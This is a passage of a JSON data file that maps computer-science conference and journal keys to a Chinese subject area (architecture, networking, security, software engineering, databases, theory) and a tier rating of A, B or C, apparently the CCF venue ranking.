[\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/fpga\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/cgo\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/date\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/eurosys\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/hotchips\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/cluster\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/iccd\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/iccad\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/icdcs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/codes\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/hipeac\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/sigmetrics\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/IEEEpact\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/icpp\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/ics\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/vee\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/ipps\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/performance\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/hpdc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/itc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/lisa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/mss\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/rtas\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"B\"], \"conf/cf\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/systor\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/nocs\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/asap\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/aspdac\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/europar\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ets\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/fpl\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/fccm\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/glvlsi\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ats\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/hpcc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/hipc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/mascots\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ispa\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ccgrid\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/npc\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ica3pp\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/cases\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/fpt\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/icpads\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/iscas\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/islped\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/ispd\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/hoti\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"conf/vts\": [\"\\u4f53\\u7cfb\\u7ed3\\u6784\", \"C\"], \"journals/jsac\": [\"\\u7f51\\u7edc\", \"A\"], \"journals/tmc\": [\"\\u7f51\\u7edc\", \"A\"], \"journals/ton\": [\"\\u7f51\\u7edc\", \"A\"], \"journals/toit\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/tomccap\": [\"\\u7f51\\u7edc/\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/tosn\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/cn\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/tcom\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/twc\": [\"\\u7f51\\u7edc\", \"B\"], \"journals/adhoc\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/comcom\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/tnsm\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/iet-com\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/jnca\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/monet\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/networks\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/ppna\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/wicomm\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/winet\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/sigcomm\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/mobicom\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/infocom\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/nsdi\": [\"\\u7f51\\u7edc\", \"A\"], \"conf/sensys\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/conext\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/secon\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/ipsn\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/mobisys\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/icnp\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/mobihoc\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/nossdav\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/iwqos\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/imc\": [\"\\u7f51\\u7edc\", \"B\"], \"conf/ancs\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/apnoms\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/forte\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/lcn\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/globecom\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/icc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/icccn\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/mass\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/p2p\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/ipccc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/wowmom\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/iscc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/wcnc\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/networking\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/im\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/msn\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/mswim\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/wasa\": [\"\\u7f51\\u7edc\", \"C\"], \"conf/hotnets\": [\"\\u7f51\\u7edc\", \"C\"], \"journals/tdsc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"journals/tifs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"journals/joc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"journals/tissec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/compsec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/dcc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/jcs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"journals/clsr\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/ejisec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/iet-ifs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/imcs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/ijics\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/ijisp\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/istr\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/scn\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ccs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/eurocrypt\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/sp\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/crypto\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/uss\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"A\"], \"conf/acsac\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/asiacrypt\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/esorics\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/fse\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/csfw\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/srds\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/ches\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/dsn\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/raid\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/pkc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/ndss\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/tcc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"B\"], \"conf/wisec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/sacmat\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/drm\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ih\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/acns\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/asiaccs\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/acisp\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ctrsa\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/dimva\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/dfrws\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/fc\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/trustcom\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/sec\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/ifip11-9\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/isw\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/icdf2c\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/icics\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/securecomm\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/nspw\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/pam\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/pet\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/sacrypt\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"conf/soups\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"*http://www.usenix.org/events/\": [\"\\u7f51\\u7edc\\u4e0e\\u4fe1\\u606f\\u5b89\\u5168\", \"C\"], \"journals/toplas\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"journals/tosem\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"journals/tse\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"journals/ase\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/ese\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/tsc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/iet-sen\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/infsof\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/jfp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/smr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/jss\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/re\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/scp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/sosym\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/stvr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/spe\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"journals/cl\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/ijseke\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/sttt\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/jlp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/jwe\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/soca\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/sqj\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/tplp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/pldi\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/popl\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/sigsoft\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/sosp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/oopsla\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/kbse\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/icse\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/issta\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/osdi\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"A\"], \"conf/ecoop\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/etaps\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/iwpc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/re\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/caise\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icfp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/lctrts\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/models\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/cp\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icsoc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/wcre\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icsm\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/vmcai\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/icws\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/middleware\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/sas\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/esem\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/fm\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/issre\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/hotos\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"B\"], \"conf/pepm\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/paste\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/aplas\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/apsec\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/ease\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/iceccs\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icst\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/ispass\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/scam\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/compsac\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icfem\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/tools\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/IEEEscc\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/ispw\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/seke\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/qrs\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icsr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/icwe\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/spin\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/atva\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/lopstr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/tase\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/msr\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/refsq\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"conf/wicsa\": [\"\\u8f6f\\u4ef6\\u5de5\\u7a0b\", \"C\"], \"journals/tods\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/tois\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/tkde\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/vldb\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"journals/tkdd\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/tweb\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/aei\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/dke\": [\"\\u6570\\u636e\\u5e93/\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/datamine\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/ejis\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/geoinformatica\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/ipm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/isci\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/is\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/jasis\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/ws\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/kais\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"journals/dpd\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/iam\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ipl\": [\"\\u6570\\u636e\\u5e93/\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/ir\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ijcis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/gis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ijis\": [\"\\u6570\\u636e\\u5e93/\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijkm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/ijswis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jcis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jdm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"http://www.tandfonline.com/loi/ugit20#.Vnv35pN97rI\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jiis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/jsis\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/sigmod\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/kdd\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/icde\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/sigir\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/vldb\": [\"\\u6570\\u636e\\u5e93\", \"A\"], \"conf/cikm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/wsdm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/pods\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/dasfaa\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/ecml\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/semweb\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/icdm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/icdt\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/edbt\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/cidr\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/sdm\": [\"\\u6570\\u636e\\u5e93\", \"B\"], \"conf/apweb\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/dexa\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/ecir\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/esws\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/webdb\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/er\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/mdm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/ssdbm\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/waim\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/ssd\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/pakdd\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"conf/wise\": [\"\\u6570\\u636e\\u5e93\", \"C\"], \"journals/tit\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"journals/iandc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"journals/siamcomp\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"journals/talg\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/tocl\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/toms\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/algorithmica\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/cc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/fac\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/fmsd\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/informs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/jcss\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/jgo\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/jsc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/mscs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/tcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"journals/acta\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/apal\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/dam\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/fuin\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/lisp\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/jc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/logcom\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/jsyml\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/lmcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/siamdm\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/mst\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/stoc\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/soda\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/cav\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/focs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], \"conf/lics\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"A\"], 